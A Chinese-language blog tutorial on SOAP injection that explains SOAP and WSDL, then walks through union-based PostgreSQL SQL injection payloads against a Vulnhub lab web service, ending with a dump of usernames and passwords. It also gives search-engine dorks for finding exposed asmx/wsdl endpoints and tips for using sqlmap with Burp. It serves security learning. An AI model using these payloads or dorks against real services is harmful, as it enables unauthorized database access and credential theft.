SOAP注入

零基础学黑客,搜索公众号:白帽子左一

另,点击领取黑客入门学习资料包及练手靶场!

soap 注入简介

soap注入就是在webservice 的soap协议,连接web服务和客户端的接口处的注入,通过在发送的soap消息参数内添加注入语句来达到注入效果,常见的有sql注入,也有xml注入,代码注入

什么是soap

首先介绍webservice,webservice是一种跨平台,跨语言的规范,用于不同平台,不同语言间的交互,webservice有三要素,分别为soap,wsdl和uddl,uddl用于提供发布和查询webservice方法,wsdl是webservice服务描述语言,用于web服务说明,它是一个xml文档,用于说明一组soap消息如何访问接口,soap是简单对象访问协议,用于分布式环境的基于信息交换的同行协议,描述传递信息的格式和规范,它可以用于连接web服务和客户端之间的接口,是一个可以在不同操作系统上运行的不同语言编写的程序之间的传输通信协议,格式为xml,soap消息

soap协议又分为soap 1.1 和 soap 1.2 两个版本

这两个协议间的区别在于soap 1.1里存在soapAction请求头,而soap 1.2没有,soap 1.2里用了action来代替,两者的wsdl文件也不同,体现在命名空间和定义service差别里,不过这些对注入没有影响

soap SQL注入

SOAP sql注入原理

soap sql 注入就是攻击者修改发送的soap消息参数,达到发起SQL注入的效果,在服务提供端,soap信息被解析,参数在访问数据库前没有被检测,导致执行sql语句,造成sql注入

soap的消息格式

之前提到过soap的格式为xml的

<?xml version="1.0"?>

<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">

<soap:Header>

</soap:Header>

<soap:Body>

<soap:Fault>

</soap:Fault>

</soap:Body>

</soap:Envelope>

Envelope:用于把xml信息标记为soap

header:包含请求信息

Body:包含了请求和相应信息

Fault:包含了发生的错误信息

这里重点关注Body,Body处包含了请求和相应信息,当Body内有存在数据可控时,就有可能存在注入

例如

<?xml version="1.0" encoding="utf-8"?>

<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">

  <soap:Body>

    <GetServiceCustomer xmlns="http://tempuri.org/">

      <UserID>string</UserID>

      <ServiceType>string</ServiceType>

      <CO_CODE>string</CO_CODE>

    </GetServiceCustomer>

  </soap:Body>

</soap:Envelope>

如果这里的UserID处的参数被放入数据库查询,就有可能触发漏洞,当然,这里需要知道此处web服务的功能,sql注入一般发生在数据查询处

或者可以去通过查看asmx下的wsdl,wsdl是一个xml,用于说明soap消息及如何使用这些消息,通常形式为asmx?wsdl,后面测试里会提到的

测试环境

这里我们使用vulnhub去测试

首先访问靶机

一般存在注入的地方发生在数据查询处,查看4个功能点功能,AddUser 为添加用户,list 为列举用户,getuser 为获取用户,delete 为删除用户,这里最有可能存在漏洞处为获取用户信息处

点击查看它的消息布局

发现username处为string 此处传入为字符串,可能存在注入

也可以通过查看它的wsdl去分析,去看soap消息及如何使用这些消息

找到getuser处

查看此处的GetUser元素,此处元素为内部创建的子元素,这里子元素名称为username,类型为字符串类型

往下看,查找它的operation,也就是它的操作活动

找到GetUserHttpGetIn 这个可以看作是 Get User Http Get In 为获取用户的输入

以此为突破口进行测试

这个靶场的数据库为PostgreSQL 数据库,那么要用 PostgreSQL注入来做

首先测试下是否有注入

输入 ‘ or 1=1 — qwe

得到结果

再输入 ‘ or 1=2 — qwe

可以说明此处存在注入

这里我们用联合查询的方式去操作,PostgreSQL的联合查询和mysql的十分相似

先用order by去判断字段数,到order by 3时报错

可以看到,此处3个字段超过了,这里为两个字段

接下来查询数据

首先判断显错位

admin’ union select aaa,aaa — qwe

结果报错

因为这里必须是以字符串传入,所以换 admin’ union select ‘aaa’,’aaa’ — qwe 语句去尝试下

两处都为显错位

那么填入我们要查询的数据试下,先查看当前数据库

aaa’ union select current_database(),’ccc’ — qwe

得到当前库名为 vulnerable

由于postgresql数据库和用户相关,所以要先去查看当前用户名以及了解当前用户的权限

语句

aaa’ union select current_user,’ccc’ — qwe

得到结果

用户名为postgres

postgres用户为PostgreSQL数据库的默认用户名,有足够权限去查询其他的库和表

再找表名

aaaa’ union select table_name,’ccc’ from information_schema.tables limit 1 offset 17 — qwe

新版本的PostgreSQL数据库的查询方法和mysql的差不多,都有information_schema 去辅助查询,当然还有其他方法也可以查找,比如利用postgresql数据库的统计收集器pg_stat_database去查询

PostgreSQL数据库里的limit语法和mysql的不同,用法为 limit 1 offset 0

limit 1为列出一条数据, offset 0 为从第0位开始

得到表名user

再查找字段名

bbb’ union select column_name,’ccc’ from information_schema.columns where table_name=’users’ limit 1 offset 0 — qwe

得到第一个字段名为password

查找其他字段

bbb’ union select column_name,’ccc’ from information_schema.columns where table_name=’users’ limit 1 offset 1 — qwe

得到第二个用户名的字段

查找数据

bbb’ union select username,password from users limit 1 offset 1 — qwe

得到结果

SOAP SQL注入查找(初级)

通常而言通过搜索特定后缀去找webservice地址,比如通过在fofa搜索 asmx,asmx是webservice服务程序的后缀名,asp.net 使用 asmx 来进行对webservice的支持,通过fofa上搜索找目标,或者可以使用google语法搜索,inurl:asmx?wsdl,inurl:.php?wsdl inurl:.ashx?wsdl通过去查找webservice的服务描述的xml文档来找寻可能的注入点

SOAP SQL注入查找(进阶)

因为wsdl内的信息过于繁杂,可以借助辅助工具来对wsdl进行分析,常用的有soapui,或者用burp的wsdler模块,都可以分析wsdl来得到

soapui使用

点击file,选择create new project,填入地址

然后就可以对wsdl地址进行解析

burp的wsdler

抓取访问wsdl的数据包,然后右键,选择parse wsdl

得到分析结果,这里可以结合sqlmap使用,把抓到的包保存为txt文件,然后sqlmap去测试

参考连接

http://emonsec.com/web/51995.html

http://ccg-lenovo.com/2020/03/27/SOAP%E6%B3%A8%E5%85%A5/

https://blog.csdn.net/niexinming/article/details/49491643

https://resources.infosecinstitute.com/topic/soap-attack-2/

https://skysec.top/2018/08/17/SOAP%E5%8F%8A%E7%9B%B8%E5%85%B3%E6%BC%8F%E6%B4%9E%E7%A0%94%E7%A9%B6/

https://www.xffbk.cn/archives/23.html

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 216,843评论 6 502
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 92,538评论 3 392
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 163,187评论 0 353
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 58,264评论 1 292
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 67,289评论 6 390
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 51,231评论 1 299
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 40,116评论 3 418
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 38,945评论 0 275
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 45,367评论 1 313
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 37,581评论 2 333
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 39,754评论 1 348
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 35,458评论 5 344
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 41,068评论 3 327
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 31,692评论 0 22
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,842评论 1 269
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 47,797评论 2 369
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 44,654评论 2 354

推荐阅读更多精彩内容

  • WebService介绍 首先我们来谈一下为什么需要学习webService这样的一个技术吧.... 问题一 如果...
    Java3y阅读 9,593评论 5 139
  • ● 请你讲解一下数据连接池的工作机制? 考察点:连接池参考回答: J2EE 服务器启动时会建立一定数量的池连接,并...
    le_u阅读 396评论 0 0
  • 资料收集 使用天气调用的webservice进行学习http://www.webxml.com.cn/WebSer...
    夜月行者阅读 17,787评论 0 10
  • 0x00 前言(废话) 项目中有遇到登录验证机制, 用户校验机制一般都是在服务器校验的, 本博客主要介绍Andro...
    Killshadow阅读 2,017评论 0 0
  • 1. 什么是SOAP协议  SOAP 是一种简单的基于 XML 的协议,它底层通过 HTTP 来交换信息。S...
    xieyan0811阅读 7,651评论 0 1